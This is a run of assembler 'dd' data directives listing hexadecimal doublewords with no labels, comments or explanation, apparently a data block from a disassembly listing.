		dd 0EE91247Ah, 3DBA1703h, 106AFA1h, 114797D8h, 0EC861D2Ah
		dd 890661F1h, 4D19216h,	1E811921h, 8A8FD10Dh, 0C889AD48h
		dd 0AC07910Fh, 22DC2901h, 96171D19h, 891D62CCh,	8E0BF540h
		dd 0B6C931h, 1F72BA9Fh,	0C15BFC01h, 8DBEF114h, 82B738D7h
		dd 0B1B97476h, 51948208h, 97600366h, 0E8A3C799h, 0E9733775h
		dd 0B02C84A8h, 4F17BF02h, 4846BCE8h, 2A550468h,	0DC9369h
		dd 0F144EA25h, 0FCE96867h, 0F81DB490h, 61D87334h, 0FAAE49h
		dd 40468BCEh, 60D64ED4h, 8E2BE501h, 430F30BCh, 0C1DC9BFAh
		dd 0E9A004FDh, 0F8A484F6h, 51DFF4h, 0B1D617F0h,	360294AEh
		dd 0D20207A3h, 80B09FAAh, 180B8609h, 84A36012h,	79B020ADh
		dd 217C6BF9h, 4CCEB700h, 7EAB33FAh, 432B00B1h, 9FF2036Eh
		dd 0D00EEB8h, 0E77790B7h, 0FF129ADCh, 0F8000823h, 0AFDA0F4Fh
		dd 98A8A269h, 8C03F122h, 0B2AE5AF9h, 0C02AF05Eh, 0A27900D8h
		dd 3AA66248h, 89EA258Eh, 5FE0360Bh, 0C12053Fh, 9008D824h
		dd 9EC4A10Ah, 4DEA82Fh,	41CC8336h, 0C1B087A3h, 52EC848Ah
		dd 0FC83099Ch, 49114015h, 0F00808FCh, 10308D89h, 30142B90h
		dd 0D9286511h, 0FE880C19h, 27F8E5h, 0BE4E7B98h,	4A05EFB2h
		dd 7BF85148h, 0A3932284h, 59F0B030h, 4D0F74h, 2C1809BAh
		dd 0FF110EECh, 59167300h, 0F48BB399h, 0B89F68FDh, 110F11FCh
		dd 0BA017CE9h, 1BDBC69Ah, 0FBA8D403h, 8595DD04h, 0CD21C40h
		dd 33FE200Eh, 0D94CDBBFh, 1EB4101Ch, 1402A850h,	964AFCC9h
		dd 3011901Bh, 5641875h,	0AC06671h, 398E7A1h, 908F3FB7h
		dd 0F1900FE3h, 0D9C49253h, 70C8EB18h, 731407F6h, 4104F83Ch
		dd 208BA1DCh, 4C50F030h, 7700BB18h, 3861E0BEh, 2A6778AEh
		dd 0EEC00E99h, 0C0D0148h, 4D29355h, 35AEC491h, 9986E214h
		dd 21222D4h, 46163C1h, 0C64FBDEh, 0D60D19E8h, 0D1F20FBEh
		dd 85B681F2h, 0F8864144h, 898E867Eh, 73878A1Ah,	0A02463B9h
		dd 0C2436C85h, 13500428h
		dd 3103FC93h, 0C10D6097h, 48144873h, 3CEE0222h,	29886937h
		dd 74362CC0h, 79FC00BDh, 0AAFBBF53h, 0BB51FE2Ah, 50B7609Ch
		dd 615EE001h, 0EAFD09Bh, 9F8B499Ch, 0BE82401Ch,	4050253Eh
		dd 0CDA0FD01h, 0F096E867h, 7981B988h, 810B0742h, 8B7E6150h
		dd 5B4F9A0h, 1772F832h,	0F0D021C2h, 12C4486Ah, 0D455F40Ah
		dd 0BF3EB80Fh, 11344C37h, 448F60Ah, 9D000622h, 0E3B481B5h
		dd 14451FFh, 7B465C30h,	206136FCh, 952623FCh, 0B740A464h
		dd 91181DB9h, 0E07C0F98h, 7F7BDFE0h, 62187239h,	0F53955B4h
		dd 0D60F8161h, 1984DCB8h, 168A0480h, 48674513h,	3BA7968h
		dd 0DE8D17DBh, 8E5298DCh, 248A028Bh, 5B689A1h, 7450E064h
		dd 48908F44h, 30F0AD01h, 0E0613781h, 0B9F23284h, 9908895h
		dd 0B089F138h, 0BF7E4172h, 308A31CFh, 41F8029h,	0D8948Ch
		dd 151A4DEBh, 83D3299Fh, 0DD48E80Eh, 0A1BAA1C4h, 91CC5F43h
		dd 500F72E0h, 99254875h, 4120A5Ch, 81C96C8h, 17808A2Ch
		dd 291B2752h, 0AF803A5Ah, 8516AB8Ch, 19483888h,	301089E8h
		dd 9E659DCh, 13859040h,	0EC249A89h, 0B6D4C0A6h,	0A298C3AEh
		dd 0AF310E72h, 782D390Bh, 1FCAF3C4h, 8F52C3B7h,	8D89B6C2h
		dd 8A7E2C90h, 8B8260B9h, 2A0CDCCh, 8C980D78h, 1088877Eh
		dd 63ECB8BFh, 2E342079h, 0DC90B101h, 948F7E93h,	0F6C629A0h
		dd 84892EA5h, 0B1843FCh, 0BC554900h, 8F23FC9Dh,	4C200060h
		dd 83C831C1h, 90005B40h, 6E917D1h, 613DFFh, 8BBAC6F8h
		dd 0C4162C7Dh, 0F2F07630h, 92FB0FC9h, 0F1742E0h, 0AD080B8Bh
		dd 806311F9h, 0D89D5400h, 0E179766Fh, 0AEEA4000h, 0A32F0E55h
		dd 0C98C002Eh, 91E49AFFh, 54CD651h, 0B478C1BCh,	65EC5D33h
		dd 48C90030h, 0BB85205Ch, 6800F7F0h, 0AAC39775h, 943BDF11h
		dd 0A6494054h, 3D004B2Bh, 93C1835Fh, 742030Eh, 26270462h
		dd 5C511214h, 0E63B44Ah, 0A96A3903h, 8D3A65C0h,	44128C84h
		dd 10305412h, 285385FAh, 1EB820F6h, 8908328Bh, 0EC8091DEh
		dd 9687A3CBh, 0C87E3B3Ch, 8D099D40h, 92841177h,	0EC0C202Dh
		dd 0E4197BE9h, 6800F172h, 4E7B43Dh, 93BF0B5h, 100D1D83h
		dd 1EB93085h, 0C34E1E1Ch, 708789DAh, 8A084103h,	55C503h
		dd 2762F0D9h, 0FD16B34Dh, 9C93110Fh, 78F2C241h,	0A880E1B9h
		dd 1307518Eh, 118C3257h, 44607826h, 88287E7Dh, 82746890h
		dd 136F088h, 562DBDDCh,	108C8589h, 377D91h, 5D72CC35h
		dd 904FBE9Eh, 0B6ABE203h, 0ECA3349h, 0C6117129h, 5BDB5A43h
		dd 5872B800h, 0B001C739h, 0B969C308h, 0ADC84376h, 6209D15Ah
		dd 90BBA261h, 58BE98C4h, 810A9CFBh, 12600D35h, 6898610Fh
		dd 0CA3180A4h, 55A139A9h, 581D0030h, 86D2B32Eh,	0DA007AEAh
		dd 0ABDF720Ah, 51E7AFF1h, 40729824h, 0D0833E7Ch, 98649100h
		dd 0E0656A5Bh, 0BE3B6300h, 5211FF7Ch, 0D0324D6h, 88E9C434h
		dd 88009AC8h, 7A5B189Dh, 1D2ED5F2h, 8309053Dh, 2012C3B5h
		dd 10E4D048h, 8C4C959Ch, 5B4AA4D8h, 70B4BD00h, 0B8BC9A0Eh
		dd 8E4014ABh, 2780A818h, 0D0CAEF25h, 7DB4448h, 0DBAAED36h
		dd 0D911D02Ah, 306A081Eh, 0B5369459h, 846C5A00h, 37A3F020h
		dd 0B7DF008Fh, 66E3BA4Eh, 29050398h, 61066523h,	8B888102h
		dd 4FB80A3h, 3C30223Ch,	0D0E9171h, 0F8A0CC6Bh, 2F015E53h
		dd 6036DC00h, 0B097FBCEh, 0E78B24A4h, 375100A4h, 5CE8A730h
		dd 0E23B1F01h, 1418C158h, 0CDE8C6C9h, 0F06D2595h, 0DC00485Eh
		dd 0B0D0100Ch, 3C507789h, 5CDC07AAh, 7841D980h,	8C0C787h
		dd 0C2A4D8C3h, 338001D2h, 0FAB00F2Eh, 5010271Ch, 518A0A7Ch
		dd 0C56C0554h, 2589FC5Dh, 0D3C246Ah, 5642EA40h,	73007D9Ah
		dd 270ADE95h, 9E2ACB3h,	1908E8A2h, 4080D029h, 0A1D959D8h
		dd 803FC100h, 8864A218h, 0E689033Bh, 607DA83Ah,	0D09217B0h
		dd 1F443096h, 8188232h,	0E0154C7Ah, 19681D24h, 0D263C070h
		dd 10CA0909h, 9FFF064h,	4FED3302h, 9264F800h, 2C074D89h
		dd 9C9062FAh, 0C1EF9812h, 9420E557h, 80709159h,	1C2B0180h
		dd 0C800EAAEh, 0AA236B6Dh, 0CBE3F3h, 94249B2Fh,	59588AFBh
		dd 7E14ECB8h, 88947F8Ch, 55BB80F2h, 29348919h, 7B6CBC00h
		dd 0FA3D1231h, 8E66004Bh, 1B85AAD5h, 58486319h,	802290h
		dd 0ED0A8BCEh, 1E4D2841h, 6937850Fh, 0B976616Dh, 0C9D491B3h
		dd 58FA3E66h, 0A04E808Bh, 59B57804h, 8A118E90h,	0C350288Bh
		dd 12749E60h, 177F7011h, 309456D2h, 6BF1D744h, 9CE9A900h
		dd 664EB377h, 0C6463E89h, 8A8012BCh, 69AA7255h,	0F9C801D5h
		dd 36468305h, 0C0A49FE6h, 0F30F66B4h, 7DA144h, 0C1C43165h
		dd 6B5AE505h, 35905F0Bh, 82600929h, 250D13A8h, 0E91888E8h
		dd 458CA101h, 3ECB321Fh, 3D1B660h, 89F0DB61h, 29186280h
		dd 0A5C10718h, 846500D2h, 8EB22872h, 0BB1DDA1Dh, 4464B03Fh
		dd 5C02A516h, 73622C75h, 36838270h, 6041120Dh, 706091D4h
		dd 87AB041Fh, 3A692F8Bh, 5ABD80B0h, 6FF59254h, 2372C300h
		dd 5D45E355h, 1FBEC81h,	0D7ADB80Bh, 42C3E937h, 5F200A54h
		dd 2842953h, 6E3FFD76h,	0C881B99Eh, 0EEC417D8h,	80C33CA0h
		dd 0AF58778Eh, 96861050h, 0A16070Ch, 0A35860B9h, 448E3E88h
		dd 54934890h, 7D2F4EA2h, 1891689Ah, 0EE2FCh, 2B8E1958h
		dd 790C53BFh, 0D500C2F2h, 28E37EB1h, 93732A4h, 62EF1B86h
		dd 0FC05C0Fh, 0C0993664h, 495574E0h, 0D5AD028h,	8018D0Fh
		dd 0EC3941D5h, 0A2E40E64h, 63D60037h, 0F20D0FE6h, 5E1C9B65h
		dd 0BAD913F4h, 0FAECB656h, 0A010B17h, 28829589h, 0B023A78Ah
		dd 73E9010Ch, 0D7BF1BB9h, 0F135C15Dh, 8BFD3019h, 2C49F44Ah
		dd 18F49069h, 8DEE002Eh, 0CBF1D18Ch, 78001CC0h,	157E3829h
		dd 311CC26h, 0D87033C3h, 3AC8B7A7h, 5100ECC2h, 73E11681h
		dd 7918A4Ah, 0FF67FAC1h, 991EC04Ch, 537C3358h, 0AFEAC917h
		dd 6436F5C1h, 17C48570h, 0B3FBF11h, 6C0BDA87h, 0C16AC19h
		dd 0F8DF240Dh, 1294044h, 7C9C828Ch, 98D537C0h, 50770BB6h
		dd 680AAB90h, 85A66750h, 2114B28Fh, 9160858Bh, 0C9C8B469h
		dd 93064700h, 4082FA4Bh, 0C90F75B8h, 5C617139h,	0D6A11073h
		dd 0E8BE9037h, 645D5C60h, 0B00E404Ch, 58CE3BDEh, 658BBA82h
		dd 69309452h, 96C1698Ch, 18CC017Bh, 1407BE31h, 9208381Ah
		dd 17DBC9Ch, 9EE951D3h,	740AF6AFh, 115CFBD4h, 7A04E168h
		dd 0A9995FD5h, 73378089h, 0D2EF0334h, 0DB035B51h, 9846982Bh
		dd 205C4AEAh, 0C5546CB0h, 37B32A05h, 94A2FF0Fh,	0F9900921h
		dd 8096E882h, 798AA04Bh, 598E7E22h, 6044AC40h, 3EF0EC25h
		dd 82039309h, 0F45C049Bh, 0AB353C43h, 0A632C0D5h, 0A7005EC2h
		dd 0D43A4127h, 33BCFDCh, 0DF2CF021h, 928CA5C5h,	99208D64h
		dd 237FCDh, 1450FE05h, 7782E429h, 435D39F2h, 0B27F22B8h
		dd 0A11300E4h, 67966CF4h, 0AC004148h, 0DFBAE21Ch, 5C5D2C46h
		dd 8A090C83h, 0CE47680h, 92CF0209h, 0FC9881F1h,	88899349h
		dd 0C010AEF0h, 0C703BB1Bh, 0F7BCCBA8h, 4A05B85Bh, 2D9B005Ch
		dd 0A9698C49h, 6101C58Bh, 436DB8A1h, 9FDCE6DAh,	0A5100241h
		dd 9268300Fh, 0F859A441h, 8901E345h, 11583F7Fh,	0A84C605Fh
		dd 0E01902B3h, 13F0CC21h, 0AC0FE0D9h, 827609Eh,	2ABA75h
		dd 84056562h, 4E7DE592h, 5A0164FCh, 3A5CDF67h, 0B423DE90h
		dd 81430138h, 3FB998D9h, 9E6990F8h, 842580E0h, 46C8FD88h
		dd 0B895405h, 90E675C9h
		dd 0A8E52A0Eh, 17552160h, 0AD043088h, 0E66852Ch, 0EFCF04EEh
		dd 4D5480C7h, 9212DFB9h, 38320F07h, 57BF10F0h, 6FF62890h
		dd 84F182h, 135D063Bh, 0E0008142h, 0EFC1FEE1h, 2323D09h
		dd 60D42A54h, 50A08C08h, 0E420FD8h, 4498CB4h, 0A2289A8h
		dd 8CADAF20h, 56E70725h, 4C291161h, 24B286E8h, 78608C9Eh
		dd 94981C3h, 0BD4462C6h, 4991F006h, 0EA00E09Ch,	30F20494h
		dd 0C890181h, 8D7E2E4Bh, 8A798618h, 90F16F88h, 0E8D12790h
		dd 52479C20h, 0CE0005FBh, 0E6D2900Fh, 1F7DD4Fh,	5BBF077Dh
		dd 7041CD9Ch, 662CF1CEh, 0AF01E881h, 58DB163Dh,	675830h
		dd 7F509E2Dh, 0D1CC1E4h, 74EAD800h, 0AA98C491h,	295F0996h
		dd 60E4DB27h, 26F54900h, 5B139F3h, 915A02D2h, 0C930BF23h
		dd 0D0F21C64h, 0A9773600h, 9237019Ah, 3808A1A8h, 0B6580C78h
		dd 8B64414Fh, 8180E8B8h, 703B16D9h, 0AE20A49Ch,	561700E2h
		dd 0A784BB52h, 389038BFh, 60041920h, 79B64037h,	8A4E7FDCh
		dd 61388040h, 70FE3A6h,	5D57F9C3h, 0AFD86289h, 210110F2h
		dd 0B05A1266h, 0B2D4B54Ah, 16CF0FCh, 146E728Dh,	2091A133h
		dd 0ED0FB77Ch, 0AAF170h, 2E9446C5h, 2B891CA8h, 2084D6DCh
		dd 0D0420930h, 0D69190C1h, 202A1DADh, 0E9DDFA38h, 11E47698h
		dd 0DEC1900h, 65369523h, 30461C68h, 37DA808Bh, 17F108ACh
		dd 0F979EF01h, 0B77EFF20h, 0BC4D1030h, 908217B0h, 9E30F024h
		dd 4044B030h, 0C8BEF222h, 26162528h, 7FDF1002h,	5F38C491h
		dd 19C4BC37h, 0CC583CFDh, 13042602h, 9F880A5Fh,	0D0E81318h
		dd 0CD0B9D40h, 17E24D5Ch, 0B40BAB0Dh, 840D8538h, 411CBC30h
		dd 55151607h, 570D275h,	0EE76E020h, 245700A8h, 66CA3B9Fh
		dd 2CBEDC92h, 50545F40h, 9888619Ah, 31868A39h, 19C892DCh
		dd 6570C90h, 2480FEFh, 0A0401FBBh, 58218136h, 0BC744B01h
		dd 39CE17EEh, 641C37D8h, 402D90B0h, 0FC82BBC9h,	763501B9h
		dd 7441439h, 8134E03Eh,	47A3F51Dh, 55FD2030h, 8A7300F9h
		dd 2C6402D3h, 0F37722F1h, 10130D0Fh, 1938A08Ch,	0C21E0544h
		dd 40A35D41h, 73EA1820h, 8B550786h, 5151410Ah, 0D8B6202Dh
		dd 960310D5h, 0B7C95DBDh, 35BA8060h, 0BB863A90h, 7103B140h
		dd 28400BFBh, 95500380h, 36480C7Ah, 0E32A6103h,	14387BE5h
		dd 6CB5C810h, 734E7A00h, 0C2F1E2D3h, 336AB600h,	7DDE37ECh
		dd 30CEF67Bh, 0E418D670h, 0A640A12Fh, 17A0006h,	564B5E17h
		dd 69C048A3h, 0D26A75A8h, 2360EBA5h, 80C700B4h,	9DE08EA7h
		dd 621F9217h, 915FF3D1h, 0B5913318h, 1020C87h, 8F4934DEh
		dd 0BE7F9018h, 83119E1h, 0EF0C5E7Eh, 0CDAB3483h, 766BE014h
		dd 0F238C0B8h, 8090FE3Fh, 0A2590763h, 8E510742h, 0C0D660EDh
		dd 5897D168h, 0C8EF8301h, 17B20E43h, 0EA0452ECh, 0CD0A3D85h
		dd 900CF698h, 40E945B6h, 0C95C81B8h, 0E64CF40Ch, 4CE799C8h
		dd 4A07048Ch, 50FB5B75h, 4AC6490h, 4DE2C000h, 0CC0A8E0Ch
		dd 50447413h, 0A81B8FEh, 99BFC9F4h, 0E5E186C0h,	570051C7h
		dd 7FD3A592h, 0C036C850h, 11A7EF9Eh, 2E1F3A9Bh,	0AEC796F4h
		dd 0ACF0863Bh, 0DB1D42h, 7D8F8A2Ch, 7EAA68F2h, 51C0E631h
		dd 2EE43D8Bh, 0E2180C78h, 1F19C3E5h, 46A41400h,	626E4DDAh
		dd 0E18B0C7Eh, 0B660185Dh, 0F3896F00h, 307B10Bh, 51900EFh
		dd 6BBAB8Ch, 0B34825DCh, 35120108h, 0C5E5E0BCh,	86B45980h
		dd 0B8AA6F63h, 83E7C902h, 0A06534D5h, 613AFCA0h, 0EDE601A5h
		dd 0C625B986h, 1FFC5059h, 0F2094DB5h, 7E7D8Eh, 0ED689A8Eh
		dd 7707EB6h, 25D94F1Dh,	5488589h, 0A97D08h, 0F3B33114h
		dd 8C733EBh, 0B0CAC2C9h, 81116A8Ch, 3DCA008Ch, 7C468F8h
		dd 30FC845h, 2064462Ch,	0A2D60C09h, 0F0590021h,	4F7A2E5Eh
		dd 2D00E50Ah, 475D88B3h, 0E47C8055h, 0ACEA3B1Fh, 1D1A5706h
		dd 1CA0698Ah, 772C875Fh, 6A0CC372h, 0B77908h, 76D023A2h
		dd 0A306880Bh, 0DA9FBF00h, 0FB21725Ah, 96DF0961h, 4411920Eh
		dd 5C22A3h, 0E2A670BEh,	7E43C7h, 760721F0h, 820CBFCEh
		dd 18562320h, 898BBDC9h, 9A00B5E1h, 2063A714h, 55E5BC0h
		dd 8190F53Fh, 0C8C44418h, 7D00C8B7h, 19BFE630h,	3CE83C4h
		dd 6FB708Ah, 8999EBB2h,	539DD443h, 954A406h, 0D90C6Bh
		dd 157E7A5h, 0ECE12F24h, 2AAF2B00h, 25FE1145h, 3D40CD81h
		dd 0A420EED1h, 98C3347Bh, 856700D3h, 2189CA46h,	0AA017976h
		dd 0E706C227h, 0F1EC0960h, 523409B6h, 64903E0Ch, 2430EA31h
		dd 0CE858026h, 147D7C59h, 4C01448Ah, 0D1C4E518h, 6301ABA0h
		dd 5DD8A3EEh, 6D096E7h,	0BAC90ABDh, 8080FD15h, 0B3E23F88h
		dd 2E31C1CDh, 0FCD82107h, 0E180F911h, 3C8BF836h, 2EDCD4Ch
		dd 93D69E1Eh, 49749931h, 0B7D41D10h, 36721E0Eh,	8A850090h
		dd 18223E1h, 0E52B6A70h, 48CE2E62h, 74A40B78h, 28A8CDE8h
		dd 99007820h, 0E2AB411Eh, 5CD155h, 9E62CC67h, 0DE5B9554h
		dd 60183826h, 39BFDD06h, 0C9627939h, 0B40108C9h, 0D1110A91h
		dd 0AF60812Dh, 3F0C41BAh, 44133822h, 0C2542404h, 2A20DD70h
		dd 3240820Bh, 41E85A5Eh, 364BC420h, 0CF8D0F24h,	8822CAB8h
		dd 63C0F930h, 0FB503BE3h, 0EB030440h, 20B5BCBEh, 95CEAF16h
		dd 74C3A70h, 0C0ED3EEFh, 78F39830h, 0C1CC01A0h,	0BE4566CBh
		dd 9DB0D829h, 0F42BAB28h, 0DE310A01h, 0C67E912Ah, 447D6C22h
		dd 83779087h, 0F2F04689h, 3C8E3E9Ch, 449C8A2Ch,	0F53081AEh
		dd 0DD9024C5h, 451E1988h, 14980096h, 1800AEA0h,	0C7C12C34h
		dd 846EAFh, 8D54F0EEh, 0D75F4E93h, 1E301BECh, 867D3991h
		dd 9D5900FEh, 0E2951A5Ch, 97017262h, 961B5DD2h,	5C528990h
		dd 21E41BB9h, 0E31E7Ch,	7A80BC19h, 0C2045945h, 0B157F90Fh
		dd 0AC7206C9h, 0E2010060h, 0BA409B44h, 0E10896E5h, 1F383C0Bh
		dd 0D70C00B9h, 87E30344h, 0AABB4704h, 0A881C1D5h, 0BE1007FBh
		dd 4E007659h, 256EF20Fh, 1CB29855h, 8039DE68h, 0AA22EF54h
		dd 95001D97h, 2E45E40Bh, 60734DE3h, 42B66971h, 0C50BEE65h
		dd 87AFD87h, 0FF090814h, 31F08BBAh, 0ADD02E4Ch,	44F1C042h
		dd 7E7FA549h, 62E13900h, 5E71BD75h, 0A2CA1243h,	16C01F1Dh
		dd 0F83820E4h, 540F4855h, 0C1F150FAh, 0C658834h, 0FC8229D6h
		dd 0DCC0F5E1h, 1B245E80h, 0CF00CC8Bh, 0FD76105Fh, 0BB7400B6h
		dd 85A0CC21h, 2029098h,	7A8D28C3h, 0EA604073h, 0AD6A3E67h
		dd 9A8FE33Dh, 2380380Eh, 4639FCDDh, 18EC8214h, 40997DADh
		dd 0D50CC611h, 16346789h, 0B4192F00h, 0B913CDDBh, 538D00A5h
		dd 51D7E379h, 0FD0136D5h, 0DB94BE20h, 0C40A47Dh, 0A10A0B44h
		dd 7A13C22Ch, 0C4F8F0A8h, 264AF714h, 289A1090h,	5AC5784Ch
		dd 87C0BEEDh, 2AA16A3h,	0DB29F996h, 0CDC3DAECh,	6104DDF0h
		dd 0C02CE650h, 0C8A0DCEBh, 78F76E00h, 54A569B9h, 85F9123Dh
		dd 8E78885Ch, 0D4A08000h, 0C9D0759Eh, 57C6006Eh, 8303BBE6h
		dd 0D18E142h, 0CA59C1E5h, 0A70E0027h, 62ADFDEFh, 0D903F845h
		dd 0A5A9B95Dh, 9039C220h, 0C0096AFCh, 3E0F02C1h, 1F0123B1h
		dd 46AD282Bh, 3820F695h, 0FF7ED9h, 564936FCh, 0A0AEFDE3h
		dd 0C3773803h, 133C400Bh, 200F44A9h, 0BAF5F168h, 901894A4h
		dd 0A2A1017Eh, 0B431C043h, 0EA6DE353h, 99932A00h, 34550807h
		dd 0E6601170h, 688000CBh, 4BBA5177h, 45A70023h,	395C387Eh
		dd 96584E8Dh, 1E060BA1h, 0BA002DBh, 0D79C933Dh,	91E82089h
		dd 113FEC6h, 961C78CAh
		dd 0F0BEBF79h, 0B3005E7Ah, 2253F8Bh, 3985B869h,	5A94592Eh
		dd 0D41C943Bh, 5D4A0B71h, 6AE91498h, 9CD6E503h,	98E78637h
		dd 1582AF0Eh, 0A80B6B28h, 0D50E2748h, 0CB60AB45h, 5AF0D4EAh
		dd 89637738h, 3414896h,	0C837C7F4h, 0C36942A4h,	267F8610h
		dd 0B8FD8016h, 0B90CFB1Ch, 403B0879h, 7E0093A9h, 8CB1FFFEh
		dd 0BF046E9h, 0F687FDCAh, 0A4C1F084h, 1C393AE4h, 526C028Eh
		dd 0E0BFEC42h, 2C74E8h,	817D93A5h, 0A6A78DC3h, 5C79BE0Dh
		dd 8C2210C9h, 3EC08A11h, 0E8974C8h, 0B082C4F0h,	441A0AC0h
		dd 89F8FF0Ah, 7C871B5Ch, 633443CBh, 5CC446AAh, 1403ACA1h
		dd 0C22D01Dh, 0D3859095h, 50B1A211h, 623D0E00h,	11FFF7Ch
		dd 0C23EDE1Ch, 0EDBA5E86h, 0FBBCD469h, 3AF4A2F8h, 8281FD6Eh
		dd 0A33B87AAh, 90BF8308h, 501E1356h, 9E6092h, 0F154403Dh
		dd 0CB0BE8C7h, 0C1430701h, 6A562464h, 35482C32h, 99BF3A00h
		dd 0C77C9636h, 9BBE9700h, 13F5B0B3h, 40F65867h,	36E38009h
		dd 70690CC9h, 826379A0h, 0F1ACE1E1h, 4C420644h,	8478E15Dh
		dd 0B487E710h, 0BBD961Fh, 0C0E8A93Ch, 0C89BC290h, 40E11934h
		dd 7D41C118h, 44871C39h, 86B4EC05h, 9820F6F4h, 0FC196F44h
		dd 82B30490h, 0CD5DE28Fh, 0C61BE02Ch, 1EA78B0Eh, 864A6085h
		dd 881783h, 20038432h, 0BEC9C03Ah, 0A0229C4Bh, 0F4CE2ECBh
		dd 1F298780h, 7938558Fh, 0E0CA8340h, 906ACE24h,	50C43844h
		dd 8AFECC1Bh, 0E982B840h, 36C59202h, 807C7E73h,	569BBF08h
		dd 867DAFh, 0D20DAEDh, 45B8DE09h, 501A0131h, 86C9C9BFh
		dd 17DA048h, 5E1B1CA0h,	7002303Ah, 8040BFB0h, 0E9051C31h
		dd 208D40BEh, 0C80B2643h, 0D82A1309h, 0A87013BAh, 9C310D28h
		dd 0CF8C140h, 2BC48EFh,	49F5E700h, 27BB369Eh, 8BF5003h
		dd 0DB4F29BDh, 0CEF4808Ch, 95EB9207h, 0F35D2100h, 0C49A15B5h
		dd 697E042Eh, 921C1ED3h, 34C6E108h, 23361100h, 3156A418h
		dd 1A4902Eh, 5144FDF8h,	297E7DA5h, 48804C34h, 0F31AC0B4h
		dd 4A2BC6Fh, 0B57FE28Ch, 92008330h, 86B25900h, 0BE10EE0Ah
		dd 12ADEC4Fh, 30F1DA93h, 2D1F8A04h, 99D09C05h, 39C0605Ah
		dd 34FABF1h, 0BAC0D410h, 0F3B04E7Ch, 0DD0041C8h, 40CB0288h
		dd 0B01AA15Eh, 6A483ED0h, 18689430h, 0D3E07236h, 7D908E12h
		dd 30BB6432h, 8644F411h, 0D4E80002h, 0BB75E358h, 0C0500330h
		dd 950F1908h, 4020F70Ch, 0CFA35E4Fh, 2038D77Fh,	1850D500h
		dd 490395F6h, 0C619FFA6h, 5882A0A1h, 37440110h,	52EBB5Bh
		dd 44C7C7E8h, 0F964F075h, 204F9896h, 82B409C6h,	41380003h
		dd 0FBC18698h, 8E0C0FE3h, 71B01EDAh, 68996Ah, 0A7DEDF27h
		dd 0B509483Fh, 6B7FDFFh, 2A6145F8h, 0EE80CDE6h,	0C15400D0h
		dd 3F97486Dh, 41033778h, 0AB20A22Bh, 0C162EB5Fh, 6B21A3F5h
		dd 0C401F412h, 690B77D0h, 0BC04A93Bh, 434D40FDh, 99BE0316h
		dd 1E3C09FCh, 59C6E400h, 0EE7485DDh, 49026A31h,	0B3D00A03h
		dd 1208904Bh, 20807E67h, 16FB82Ch, 1D44415Ch, 17A4358h
		dd 64BE0DF1h, 14417D7Eh, 94226CB6h, 69D6831Bh, 0BE10805h
		dd 541D383Eh, 0F0044766h, 13FAB351h, 45F088D9h,	4FE30305h
		dd 0F8131843h, 44205C32h, 1908250Ch, 4A39A487h,	80EC67F8h
		dd 3E0D745Ch, 9A1C7100h, 6829D006h, 2D490B3Ah, 0D819BCB3h
		dd 65570FAh, 283C6C07h,	79403F01h, 262D8B21h, 2494440Ch
		dd 2095E018h, 91DFB42h,	0E7C314F0h, 0A06DD6B7h,	141EE0B4h
		dd 88A67DE3h, 6F304192h, 1E7A225h, 41CEF802h, 34354A34h
		dd 90E0F6E1h, 78B85880h, 6C5AE0A0h, 5C71C200h, 78A82947h
		dd 0A59003Bh, 0D4B921ABh, 0B115522Dh, 808C1Eh, 0A5805EB3h
		dd 169ED8C6h, 3212EF73h, 19034048h, 0EC85B52Ah,	1B0102AFh
		dd 50C06C71h, 1E81908Ch, 0E600643Dh, 0B4E38661h, 1AEE272Bh
		dd 0C09D3932h, 0E4CCA90Ah, 0D496039Ch, 46CAEC3Bh, 0DDCD29E0h
		dd 0BCC6BF06h, 22606371h, 88449211h, 3FE804B7h,	0A08695AEh
		dd 3B415B74h, 540421A5h, 0D495403Dh, 26ED205Ah,	1D848BC5h
		dd 0DC15D6B6h, 31DEBB10h, 99B33F00h, 485DB2CFh,	2C525C45h
		dd 85F83CC2h, 40CC5844h, 763BB2F4h, 3419501Fh, 0E8B84118h
		dd 61C698B7h, 790F6Ah, 922F7867h, 0E38FAFEEh, 0C9425A00h
		dd 0E8CC04C6h, 589B16A2h, 5A4888F8h, 0D7EF8E16h, 4F0902BEh
		dd 16605699h, 5F7F1082h, 83440458h, 0D845EE19h,	1F017B5Eh
		dd 0E496F2F1h, 20858648h, 0B9002972h, 0D2877136h, 0B852E18Dh
		dd 0DB13F91Ch, 0D39693E0h, 2A6D4F07h, 0F10E234h, 158D1CDDh
		dd 3886908Fh, 87E00976h, 46496B1h, 0DF13DA00h, 6E7669D1h
		dd 0DB820365h, 0B57CC1EEh, 0D6819088h, 0C9091CBCh, 431844BCh
		dd 0EBF2189h, 319BBBD8h, 1AE033AAh, 61CC0B6h, 89D6D64Eh
		dd 4494C8h, 7CF0D3F8h, 2120AE38h, 6E16C00Ch, 5C28DEh, 6345233Ah
		dd 5DF30F78h, 710A4D90h, 90C07D86h, 9005282Bh, 0AC30C37Fh
		dd 192B4E6h, 1B9F369Bh,	0A5016DB6h, 39C484F1h, 29FDE8C8h
		dd 80F88D7Ch, 0CEB27726h, 3300D237h, 0E076B3E2h, 2254845h
		dd 5F925411h, 0C8C4E987h, 910565Ch, 18141685h, 1772D8h
		dd 81880C49h, 0B78AA3B5h, 910DF50Bh, 0B2A0487Eh, 0C5B0B70h
		dd 7020A040h, 0BDE8032Dh, 3AD75F01h, 0BBD930E3h, 135F0847h
		dd 4746B804h, 718F1E46h, 906DDC00h, 6B6C9414h, 0BA0A3BDBh
		dd 0E64ACF84h, 0E54E40CEh, 5F3086h, 11D8DFC3h, 0AE636C74h
		dd 895A6B00h, 3F206A15h, 41F24F0Fh, 45E7AA98h, 3487761h
		dd 0A2D50B95h, 5E110046h, 0BF1E6F4Fh, 0C200DE4Ah, 0E69A3023h
		dd 6942B5h, 54D7C566h, 0A9E79618h, 4B4068BEh, 0FBB5D1h
		dd 0E6BAC70Fh, 2C9A0D50h, 0D9F34600h, 0F416899Bh, 7DE00320h
		dd 4466922Eh, 26880858h, 3B400C06h, 1F81F0Bh, 5E795694h
		dd 490C4465h, 331AF1D0h, 1F14014Ch, 0C4ED2C30h,	4080607Ch
		dd 0E00F94C7h, 4AB52003h, 0E857F4C8h, 245AD397h, 246C9613h
		dd 33BA402Ch, 5494390Dh, 67C0C989h, 93BB10A4h, 20946822h
		dd 9544E1A1h, 0CFDCC400h, 2EE5330Fh, 40B20066h,	0F7B84179h
		dd 1095C1C9h, 42E8690h,	1AF48D59h, 0BE79C0B6h, 0E55CBC5Eh
		dd 43888F38h, 0A8A62155h, 0DA7AB7h, 0A0FB2741h,	0E056F24Ch
		dd 5E11B302h, 0C14EEA43h, 0C82C3C06h, 44419C2h,	0B47334E2h
